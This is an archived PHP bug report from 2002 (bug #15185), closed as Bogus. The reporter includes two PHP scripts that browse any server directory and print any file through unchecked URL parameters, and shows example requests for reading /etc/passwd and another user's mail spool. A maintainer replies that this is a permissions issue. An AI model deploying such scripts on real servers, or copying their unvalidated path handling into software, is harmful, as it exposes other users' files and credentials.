[PHP-DEV] Bug #15185 Updated: Exploring the server recources witch php

[hholzgra]

ID: 15185
Updated by: hholzgra
Reported By: [EMAIL PROTECTED]
Old Status: Open
Status: Bogus
Bug Type: *Directory/Filesystem functions
Operating System: Slackware
PHP Version: 4.0.6
New Comment:

not a php issue

php runs with the same permissions as the user
the webserver runs under, so if this user has
permission to see the whole server filesystem
php will have that, too

run your wesserver as a low-privileged user
and give it read permission to the absolute
minimum of the filesystem 

or have a look at 
http://www.php.net/manual/en/features.safe-mode.php


Previous Comments:
------------------------------------------------------------------------

[2002-01-23 14:26:36] [EMAIL PROTECTED]

I've found a possible bug in php 4.06. using simple function readdir();
I coul explore about 90 % of server including /var/spool/mail
/ect/passwd e.t.c.

I've wrote simple script that let me to move through all directories:

<?
if ($dir=="")
{
        $dir=".";
}
function getDirList ($dirName) {
print("<h1>Index of: $dirName</h1><hr>");
$dirs=array();
$files=array();
$dirfiles=array();
$dirn=0;
$filen=0;
                $d = dir($dirName);
                while($entry = $d->read()) {
                        if ($entry != "." && $entry != "..")
                        {
                                if (is_dir($dirName."/".$entry))
                                {
                                        array_push($dirs, "$dirName/$entry");
                                        $dirn++;
                                }
                                else
                                {
                                        array_push($files, "$entry");
                                        array_push($dirfiles, "$dirName");
                                        $filen++;
                                }
                        }
                }
                $d->close();
$tmp=0;
while ($tmp<$dirn)
{
        print("<a href='?dir=$dirs[$tmp]'>$dirs[$tmp]</a><br>");
        $tmp++;
}
$tmp=0;
while ($tmp<$filen)
{
        print("<a href='?dir=$dirfiles[$tmp]'>$dirfiles[$tmp]</a>/<a
href='$dirfiles[$tmp]/$files[$tmp]'>$files[$tmp]</a><br>");
        $tmp++;
}
if ($dirName!=".")
{
        print("<hr><button OnClick='javascript:history.back();'>Back");
}
}
getDirList("$dir");
?>

Default directory is '.' (Your home directory), but if you load this
page with parameter dir=/ ( ex. http://your.host/dir.php?dir=/ ) You
will probably access main folder on your unix server.
I wrote second script that let me read the files not in my home
directory:

<?
function readtxt ($path)
{
$Plik=fopen($path, "r");
flock($Plik, 1);
$rozm=filesize("$path");
$flaga=0;
while($flaga<$rozm)
{
  $Linia = fgets($Plik, 2);
        print("$Linia");    
    if ($Linia=="\n")
    {
        print("<br>");
    }
    $flaga++;
}
flock($Plik, 3);
fclose($Plik);
}
readtxt ($file);
?>

By typing, for example
http://your.host/readtxt.php?file=/var/spool/mail/disco_dzik i could
read disco_dzik's mail.

Simple, but serious...

Both of scripts wold not move You outside your home directory if the
server would be two machines (first one for system, and the second one
just fore home directories) - it's obvious, but I've checked it ;)

P.S.
Scripts were wroten for my use only, so some of the variables are named
in polish - sorry for that ;)
This is a serious bug that needs to be fixed !

------------------------------------------------------------------------



Edit this bug report at http://bugs.php.net/?id=15185&edit=1


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